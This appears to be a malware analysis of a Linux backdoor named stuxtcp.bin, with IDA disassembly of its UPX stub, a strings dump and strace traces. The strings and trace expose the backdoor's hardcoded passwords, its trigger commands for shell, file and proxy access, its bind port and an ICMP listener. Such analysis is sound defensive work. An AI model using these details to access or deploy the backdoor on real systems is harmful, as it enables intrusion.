LOAD:08048411      jg      short loc_8048482
LOAD:08048413      sub     eax, edx
LOAD:08048415      push    edx                ; len
LOAD:08048416      lea     ebx, [eax+800h]
LOAD:0804841C      mov     eax, edi
LOAD:0804841E      lea     ecx, [esi+ebx] ; int
LOAD:08048421      mov     edx, ecx          ; addr
LOAD:08048423      mov     [ebp+var_80], ecx
LOAD:08048426      call    sub_8048224
LOAD:0804842B      pop     edx
LOAD:0804842C      test    eax, eax
LOAD:0804842E      jnz     short loc_8048482
LOAD:08048430      mov     edx, [ebp+var_68]
LOAD:08048433      cmp     edx, [ebp+var_6C]
LOAD:08048436      jge     short loc_8048457
LOAD:08048438      lea     eax, [ebp+var_70]
LOAD:0804843B      push    eax
LOAD:0804843C      push    esi
LOAD:0804843D      push    edx
LOAD:0804843E      push    [ebp+var_80]
LOAD:08048441      call    sub_8048132
LOAD:08048446      add     esp, 10h
LOAD:08048449      test    eax, eax
LOAD:0804844B      mov     ebx, eax
LOAD:0804844D      jnz     short loc_8048482
LOAD:0804844F      mov     eax, [ebp+var_6C]
LOAD:08048452      cmp     [ebp+var_70], eax
LOAD:08048455      jnz     short loc_8048482
LOAD:08048457      loc_8048457:                ; CODE XREF: sub_8048288+1AEj
LOAD:08048457      lea     ecx, [esi+ebx] ; addr
LOAD:0804845A      mov     ebx, [ebp+var_6C]
LOAD:0804845D      mov     [ebp+var_84], ebx
LOAD:08048463      mov     edx, ebx          ; len
LOAD:08048465      loc_8048465:                ; CODE XREF: sub_8048288+1F4j
LOAD:08048465      mov     ebx, [ebp+fd]     ; fd
LOAD:08048468      push    4
LOAD:0804846A      pop     eax
LOAD:0804846B      int     80h              ; LINUX - sys_write
LOAD:0804846D      cmp     eax, 0FFFFFFFh
LOAD:08048470      jz      short loc_804847A
LOAD:08048472      test    eax, eax
LOAD:08048474      jle     short loc_804847E
LOAD:08048476      add     ecx, eax
LOAD:08048478      sub     edx, eax
LOAD:0804847A      loc_804847A:                ; CODE XREF: sub_8048288+1E8j
LOAD:0804847A      test    edx, edx
LOAD:0804847C      jg      short loc_8048465
LOAD:0804847E      loc_804847E:                ; CODE XREF: sub_8048288+1ECj
LOAD:0804847E      test    edx, edx
LOAD:08048480      jz      short loc_8048496
LOAD:08048482      loc_8048482:                ; CODE XREF: sub_8048288+124j
LOAD:08048482      ; sub_8048288+13Bj ...
LOAD:08048482      mov     ebx, offset filename ; "/tmp/upxAAAAAAA"

```

```

LOAD:08048487      push    0Ah
LOAD:08048489      pop     eax
LOAD:0804848A      int     80h          ; LINUX - sys_unlink
LOAD:0804848C      loc_804848C:          ; CODE XREF: sub_8048288+6Bj
LOAD:0804848C      ; sub_8048288+80j ...
LOAD:0804848C      push    7Fh
LOAD:0804848E      pop     ebx          ; status
LOAD:0804848F      push    1
LOAD:08048491      pop     eax
LOAD:08048492      int     80h          ; LINUX - sys_exit
LOAD:08048494      ; -----
LOAD:08048494      jmp     short loc_804848C
LOAD:08048496      ; -----
LOAD:08048496      loc_8048496:          ; CODE XREF: sub_8048288+1F8j
LOAD:08048496      mov     eax, [ebp+var_84]
LOAD:0804849C      sub     [ebp+len], eax
LOAD:0804849F      jmp     loc_80483C9
LOAD:080484A4      ; -----
LOAD:080484A4      loc_80484A4:          ; CODE XREF: sub_8048288+16Ej
LOAD:080484A4      mov     ecx, len      ; len
LOAD:080484AA      mov     ebx, esi      ; addr
LOAD:080484AC      push    5Bh
LOAD:080484AE      pop     eax
LOAD:080484AF      int     80h          ; LINUX - sys_munmap
LOAD:080484B1      mov     ebx, [ebp+fd] ; fd
LOAD:080484B4      push    6
LOAD:080484B6      pop     eax
LOAD:080484B7      int     80h          ; LINUX - sys_close
LOAD:080484B9      test    eax, eax
LOAD:080484BB      jnz     short loc_8048482
LOAD:080484BD      mov     ebx, edi      ; fd
LOAD:080484BF      push    6
LOAD:080484C1      pop     eax
LOAD:080484C2      int     80h          ; LINUX - sys_close
LOAD:080484C4      test    eax, eax
LOAD:080484C6      mov     ecx, eax      ; flags
LOAD:080484C8      jnz     short loc_8048482
LOAD:080484CA      mov     ebx, offset filename ; "/tmp/upxAAAAAAA"
LOAD:080484CF      mov     edx, eax      ; mode
LOAD:080484D1      push    5
LOAD:080484D3      pop     eax
LOAD:080484D4      int     80h          ; LINUX - sys_open
LOAD:080484D6      test    eax, eax
LOAD:080484D8      mov     edi, eax
LOAD:080484DA      js      short loc_8048482
LOAD:080484DC      mov     eax, [ebp+var_74]
LOAD:080484DF      mov     edx, edi
LOAD:080484E1      mov     esi, 1
LOAD:080484E6      lea     ebx, [ebp+pathname] ; pathname
LOAD:080484E9      mov     dword ptr [eax], 2F6466h
LOAD:080484EF      add     eax, 3
LOAD:080484F2      call    sub_8048247
LOAD:080484F7      push    21h
LOAD:080484F9      pop     eax
LOAD:080484FA      push    5
LOAD:080484FC      pop     ecx          ; mode
LOAD:080484FD      int     80h          ; LINUX - sys_access
LOAD:080484FF      cmp     eax, 0
LOAD:08048504      jnz     short loc_804852C

```

```

LOAD:08048506      mov     ebx, offset filename ; "/tmp/upxAAAAAAA"
LOAD:0804850B      push    0Ah
LOAD:0804850D      pop     eax
LOAD:0804850E      int     80h                ; LINUX - sys_unlink
LOAD:08048510      mov     ecx, 2                ; cmd
LOAD:08048515      mov     ebx, edi                ; fd
LOAD:08048517      mov     edx, esi                ; lock
LOAD:08048519      push    37h
LOAD:0804851B      pop     eax
LOAD:0804851C      int     80h                ; LINUX - sys_fcntl
LOAD:0804851E      lea     ebx, [ebp+pathname] ; file
LOAD:08048521      mov     ecx, [ebp+argv] ; argv
LOAD:08048524      mov     edx, [ebp+envp] ; envp
LOAD:08048527      push    0Bh
LOAD:08048529      pop     eax
LOAD:0804852A      int     80h                ; LINUX - sys_execve
LOAD:0804852C      loc_804852C:
LOAD:0804852C      mov     ebx, edi                ; CODE XREF: sub_8048288+27Cj
LOAD:0804852C      push    6
LOAD:0804852E      pop     eax
LOAD:08048530      int     80h                ; LINUX - sys_close
LOAD:08048533      push    2
LOAD:08048535      pop     eax
LOAD:08048536      int     80h                ; LINUX - sys_fork
LOAD:08048538      test    eax, eax
LOAD:0804853A      jnz     short loc_8048564
LOAD:0804853C      push    2
LOAD:0804853E      pop     eax
LOAD:0804853F      int     80h                ; LINUX - sys_fork
LOAD:08048541      test    eax, eax
LOAD:08048543      mov     ecx, eax                ; rem
LOAD:08048545      jnz     short loc_804855D
LOAD:08048547      mov     ebx, offset req ; req
LOAD:0804854C      mov     eax, 0A2h
LOAD:08048551      int     80h                ; LINUX - sys_nanosleep
LOAD:08048553      mov     ebx, offset filename ; "/tmp/upxAAAAAAA"
LOAD:08048558      push    0Ah
LOAD:0804855A      pop     eax
LOAD:0804855B      int     80h                ; LINUX - sys_unlink
LOAD:0804855D      loc_804855D:
LOAD:0804855D      xor     ebx, ebx                ; CODE XREF: sub_8048288+2BDj
LOAD:0804855D      push    1
LOAD:0804855F      pop     eax
LOAD:08048561      int     80h                ; LINUX - sys_exit
LOAD:08048564      ; -----
LOAD:08048564      loc_8048564:
LOAD:08048564      xor     ecx, ecx                ; CODE XREF: sub_8048288+2B2j
LOAD:08048564      or      ebx, 0FFFFFFFFh ; status
LOAD:08048566      mov     edx, ecx                ; pid
LOAD:08048569      mov     edx, ecx                ; options
LOAD:0804856B      push    7
LOAD:0804856D      pop     eax
LOAD:0804856E      int     80h                ; LINUX - sys_waitpid
LOAD:08048570      mov     ebx, offset filename ; "/tmp/upxAAAAAAA"
LOAD:08048575      mov     ecx, [ebp+argv] ; argv
LOAD:08048578      mov     edx, [ebp+envp] ; envp
LOAD:0804857B      push    0Bh
LOAD:0804857D      pop     eax
LOAD:0804857E      int     80h                ; LINUX - sys_execve
LOAD:08048580      jmp     loc_8048482

```

```

LOAD:08048580 sub_8048288      endp
LOAD:08048580
LOAD:08048580 ; -----
LOAD:08048585                align 4
LOAD:08048588 ; const struct timespec req
LOAD:08048588 req              timespec <3, 0>          ; DATA XREF: sub_8048288+2Bfo
LOAD:08048588 LOAD              ends
LOAD:08048588
LOAD:08049590 ; =====
LOAD:08049590
LOAD:08049590 ; Segment type: Pure data
LOAD:08049590 ; Segment permissions: Read/Write
LOAD:08049590 LOAD              segment mepage public 'DATA' use32
LOAD:08049590                  assume cs:LOAD
LOAD:08049590                  ;org 8049590h
LOAD:08049590 ; char filename[15]
LOAD:08049590 filename          db '/tmp/upxAAAAAA'      ; DATA XREF: sub_8048288+EAO
LOAD:08049590                  ; sub_8048288+10Bo ...
LOAD:0804959F aAaaa             db 'AAAA',0              ; DATA XREF: sub_8048288+B4o
LOAD:0804959F                  ; sub_8048288+93o
LOAD:080495A4 unk_80495A4       db 0                     ; DATA XREF: sub_8048288+12Ao
LOAD:080495A5                  db 0
LOAD:080495A6                  db 0
LOAD:080495A7                  db 0
LOAD:080495A8 ; int len
LOAD:080495A8 len              dd 7000h                   ; DATA XREF: sub_8048288:loc_80484A4r
LOAD:080495AC                  db 3
LOAD:080495AD                  db 0
LOAD:080495AE                  db 0
LOAD:080495AF                  db 0
LOAD:080495B0                  db 22h ; "
LOAD:080495B1                  db 0
LOAD:080495B2                  db 0
LOAD:080495B3                  db 0
LOAD:080495B4                  db 0FFh
LOAD:080495B5                  db 0FFh
LOAD:080495B6                  db 0FFh
LOAD:080495B7                  db 0FFh
LOAD:080495B8                  db 0
LOAD:080495B9                  db 0
LOAD:080495BA                  db 0
LOAD:080495BB                  db 0
LOAD:080495BB LOAD              ends
LOAD:080495BB
LOAD:080495BB
LOAD:080495BB                  end start

```

b2240-12:~\$ strings /proc/<PID>/exe

```

/lib/ld-linux.so.2
libpthread.so.0
waitpid
recv
connect
pthread_create
system
recvfrom
accept
write
fork
sigaction
__errno_location

```

```
_Jv_RegisterClasses
libc.so.6
strcpy
printf
sysconf
getprotobyname
getpid
memcpy
execl
dup2
feof
remove
socket
select
putenv
bzero
alarm
bind
chdir
umask
strstr
setgid
signal
setpgrp
strncpy
htonl
listen
fread
memset
seteuid
strcmp
gethostbyname
fclose
scanf
htons
exit
fopen
atoi
_IO_stdin_used
__libc_start_main
strlen
setsid
setegid
setuid
__gmon_start__
GLIBC_2.1
GLIBC_2.0
PTRh
QVh0
RDFpassword    % BOOBY TRAP
[su]
[login]
[bash]
/dev/null
children %d died
Content-type: text/html
HTTP/1.1 404 Not Found
Date: Mon, 14 Jan 2002 03:19:55 GMT
Server: Apache/1.3.22 (Unix)
Connection: close
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 4.0//EN">
```

```
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL was not found on this server.<P>
<HR>
<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>
</BODY></HTML>
Content-type: text/html
<html>
<head><title>Bind Shell ok.:)</title></head>
<body bgcolor="#000000">
<div align="center"><p>
<font face="Arial" color="#999999" size="7"><b>
You get it, goodluck! :-)
</b></font></p></div><br>
</body></html>
Content-type: text/html
<html>
<head><title>Tran ok.:)</title></head>
<body bgcolor="#000000">
<div align="center"><p>
<font face="Arial" color="#999999" size="7"><b>
Tran ok!
</b></font></p></div><br>
</body></html>
Content-type: text/html
<html>
<head><title>Shell ok.:)</title></head>
<body bgcolor="#000000">
<div align="left">
<pre><font face="Arial" color="#999999" size="2">
</font></pre></div><br>
</body></html>
<b>Your Command:</b>
<br>
/tmp/tmp.txt
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:.
kissme:)
bindport
socks
givemeshell
HTTP
givemefile
Enter Your password:
=====Welcome to http://www.cnhonker.com=====
=====You got it, have a goodluck. :)=====
Your command:
/bin/sh
icmp
Enter Password:
Password accepted!
You entered an Incorrect Password. Exiting...
=====
```

Output of strace when running stuxtcp.bin w/ correct password:

```
2908 execve("./stuxtcp.bin", ["/stuxtcp.bin"], [/* 35 vars */]) = 0
2908 getpid() = 2908
2908 open("/proc/2908/exe", O_RDONLY) = 3
2908 lseek(3, 1468, SEEK_SET) = 1468
2908 read(3, "\224,\25[\c\0\0}\c\0\0"... , 12) = 12
2908 gettimeofday({1322256880, 756414}, NULL) = 0
2908 unlink("/tmp/upxDCCHONFAC02") = -1 ENOENT (No such file or directory)
2908 open("/tmp/upxDCCHONFAC02", O_WRONLY|O_CREAT|O_EXCL, 0700) = 4
2908 ftruncate(4, 25469) = 0
2908 old_mmap(NULL, 28672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0x80495a40889c020) = 0xb770d000
2908 read(3, "\c\0\0i+\0\0"... , 8) = 8
2908 read(3, "\177?d\371\177ELF\1\0\2\0\3\0\r\200\216\4\375o\263\335\0104\7@N\27\v \0\6\0"... ,
11113) = 11113
2908 write(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\200\216\4\0104\0\0\0"... , 25469)
= 25469
2908 read(3, "\0\0\0\0UPX!"... , 8) = 8
2908 munmap(0xb770d000, 28672) = 0
2908 close(4) = 0
2908 close(3) = 0
2908 open("/tmp/upxDCCHONFAC02", O_RDONLY) = 3
2908 access("/proc/2908/fd/3", R_OK|X_OK) = 0
2908 unlink("/tmp/upxDCCHONFAC02") = 0
2908 fcntl(3, F_SETFD, FD_CLOEXEC) = 0
2908 execve("/proc/2908/fd/3", ["/stuxtcp.bin"], [/* 35 vars */]) = 0
2908 brk(0) = 0x93a4000
2908 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
2908 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7794000
2908 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
2908 open("/etc/ld.so.cache", O_RDONLY) = 3
2908 fstat64(3, {st_mode=S_IFREG|0644, st_size=130647, ...}) = 0
2908 mmap2(NULL, 130647, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7774000
2908 close(3) = 0
2908 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
2908 open("/lib/i686/cmov/libpthread.so.0", O_RDONLY) = 3
2908 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0000H\0\0004\0\0\0\330"... , 512) =
512
2908 fstat64(3, {st_mode=S_IFREG|0755, st_size=116414, ...}) = 0
2908 mmap2(NULL, 98784, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb775b000
2908 mmap2(0xb7770000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x14)
= 0xb7770000
2908 mmap2(0xb7772000, 4576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) =
0xb7772000
2908 close(3) = 0
2908 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
2908 open("/lib/i686/cmov/libc.so.6", O_RDONLY) = 3
2908 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0260e\1\0004\0\0\0\4"... , 512) =
512
2908 fstat64(3, {st_mode=S_IFREG|0755, st_size=1413540, ...}) = 0
2908 mmap2(NULL, 1418864, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7600000
2908 mmap2(0xb7755000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,
0x155) = 0xb7755000
2908 mmap2(0xb7758000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) =
0xb7758000
2908 close(3) = 0
2908 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75ff000
2908 set_thread_area({entry_number:-1 -> 6, base_addr:0xb75ffad0, limit:1048575, seg_32bit:1,
contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
2908 mprotect(0xb7755000, 4096, PROT_READ) = 0
```

```

2908 munmap(0xb7774000, 130647)      = 0
2908 set_tid_address(0xb75ffb18)     = 2908
2908 set_robust_list(0xb75ffb20, 0xc) = 0
2908 futex(0xbfc91b60, FUTEX_WAKE_PRIVATE, 1) = 0
2908 rt_sigaction(SIGRTMIN, {0xb775f2e0, [], SA_SIGINFO}, NULL, 8) = 0
2908 rt_sigaction(SIGRT_1, {0xb775f720, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0
2908 rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
2908 getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
2908 uname({sys="Linux", node="b2240-11", ...}) = 0
2908 fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 3), ...}) = 0
2908 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7793000
2908 fstat64(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 3), ...}) = 0
2908 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7792000
2908 write(1, "Enter Password: "..., 16) = 16
2908 read(0, "JBR\n"..., 1024)      = 4
2908 write(1, "Password accepted!\n"..., 19) = 19
2908 rt_sigaction(SIGCHLD, {0x8049360, [CHLD], SA_RESTART}, {SIG_DFL}, 8) = 0
2908 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
child_tidptr=0xb75ffb18) = 2909
2908 exit_group(0)                = ?
2909 setsid()                     = 2909
2909 rt_sigaction(SIGHUP, {SIG_IGN}, NULL, 8) = 0
2909 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
child_tidptr=0xb75ffb18) = 2910
2909 exit_group(0)                = ?
2910 chdir("/")                    = 0
2910 umask(0)                     = 077
2910 getrlimit(RLIMIT_NOFILE, {rlim_cur=1024, rlim_max=1024}) = 0
2910 close(0)                     = 0
2910 close(1)                     = 0
2910 close(2)                     = 0
2910 close(3)                     = -1 EBADF (Bad file descriptor)
2910 close(4)                     = -1 EBADF (Bad file descriptor)
2910 close(5)                     = -1 EBADF (Bad file descriptor)
2910 close(6)                     = -1 EBADF (Bad file descriptor)
2910 close(7)                     = -1 EBADF (Bad file descriptor)
2910 close(8)                     = -1 EBADF (Bad file descriptor)
2910 close(9)                     = -1 EBADF (Bad file descriptor)
2910 close(10)                    = -1 EBADF (Bad file descriptor)
...
2910 close(1015)                 = -1 EBADF (Bad file descriptor)
2910 close(1016)                 = -1 EBADF (Bad file descriptor)
2910 close(1017)                 = -1 EBADF (Bad file descriptor)
2910 close(1018)                 = -1 EBADF (Bad file descriptor)
2910 close(1019)                 = -1 EBADF (Bad file descriptor)
2910 close(1020)                 = -1 EBADF (Bad file descriptor)
2910 close(1021)                 = -1 EBADF (Bad file descriptor)
2910 close(1022)                 = -1 EBADF (Bad file descriptor)
2910 close(1023)                 = -1 EBADF (Bad file descriptor)
2910 open("/dev/null", O_RDWR)    = 0
2910 dup(0)                       = 1
2910 dup(1)                       = 2
2910 dup(2)                       = 3
2910 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
child_tidptr=0xb75ffb18) = 2911
2910 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
2910 bind(4, {sa_family=AF_INET, sin_port=htons(8008), sin_addr=inet_addr("0.0.0.0")}, 16) = -1
EADDRINUSE (Address already in use)
2911 brk(0 <unfinished ...>
2910 exit_group(-1)               = ?
2911 <... brk resumed> )          = 0x93a4000
2911 brk(0x93c5000)               = 0x93c5000

```



```

2911 open("/etc/nsswitch.conf", O_RDONLY) = 4
2911 fstat64(4, {st_mode=S_IFREG|0644, st_size=475, ...}) = 0
2911 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7791000
2911 read(4, "# /etc/nsswitch.conf\n#\n# Example "..., 4096) = 475
2911 read(4, "...", 4096) = 0
2911 close(4) = 0
2911 munmap(0xb7791000, 4096) = 0
2911 open("/etc/ld.so.cache", O_RDONLY) = 4
2911 fstat64(4, {st_mode=S_IFREG|0644, st_size=130647, ...}) = 0
2911 mmap2(NULL, 130647, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb75df000
2911 close(4) = 0
2911 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
2911 open("/lib/tls/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/lib/tls/i686/sse2/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/tls/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/tls/i686/sse2", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/tls/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/tls/i686/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/tls/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/tls/i686", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/tls/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/tls/sse2/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/tls/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/tls/sse2", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/tls/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/tls/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/tls/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/tls", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/lib/i686/sse2/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/i686/sse2", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/i686/cmov", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
2911 open("/lib/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/i686", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
2911 open("/lib/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/sse2/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/sse2", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/lib/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/lib", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
2911 open("/usr/lib/tls/i686/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/usr/lib/tls/i686/sse2/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/usr/lib/tls/i686/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/usr/lib/tls/i686/sse2", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/usr/lib/tls/i686/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/usr/lib/tls/i686/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/usr/lib/tls/i686/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/usr/lib/tls/i686", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/usr/lib/tls/sse2/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/usr/lib/tls/sse2/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/usr/lib/tls/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
2911 stat64("/usr/lib/tls/sse2", 0xbfc8f428) = -1 ENOENT (No such file or directory)

```

[illegible]

[illegible]

```

2911 open("/usr/lib/i486-linux-gnu/sse2/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/usr/lib/i486-linux-gnu/sse2", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/usr/lib/i486-linux-gnu/cmov/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/usr/lib/i486-linux-gnu/cmov", 0xbfc8f428) = -1 ENOENT (No such file or directory)
2911 open("/usr/lib/i486-linux-gnu/libnss_db.so.2", O_RDONLY) = -1 ENOENT (No such file or
directory)
2911 stat64("/usr/lib/i486-linux-gnu", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
2911 munmap(0xb75df000, 130647) = 0
2911 open("/etc/ld.so.cache", O_RDONLY) = 4
2911 fstat64(4, {st_mode=S_IFREG|0644, st_size=130647, ...}) = 0
2911 mmap2(NULL, 130647, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb75df000
2911 close(4) = 0
2911 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
2911 open("/lib/i686/cmov/libnss_files.so.2", O_RDONLY) = 4
2911 read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320\30\0\0004\0\0\0\250"... , 512)
= 512
2911 fstat64(4, {st_mode=S_IFREG|0644, st_size=42504, ...}) = 0
2911 mmap2(NULL, 45720, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7786000
2911 mmap2(0xb7790000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x9)
= 0xb7790000
2911 close(4) = 0
2911 munmap(0xb75df000, 130647) = 0
2911 open("/etc/protocols", O_RDONLY|O_CLOEXEC) = 4
2911 fcntl64(4, F_GETFD) = 0x1 (flags FD_CLOEXEC)
2911 fstat64(4, {st_mode=S_IFREG|0644, st_size=2626, ...}) = 0
2911 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7785000
2911 read(4, "# Internet (IP) protocols\n#\n# Upd"... , 4096) = 2626
2911 close(4) = 0
2911 munmap(0xb7785000, 4096) = 0
2911 socket(PF_INET, SOCK_RAW, IPPROTO_ICMP) = -1 EPERM (Operation not permitted)
2911 exit_group(0) = ?

```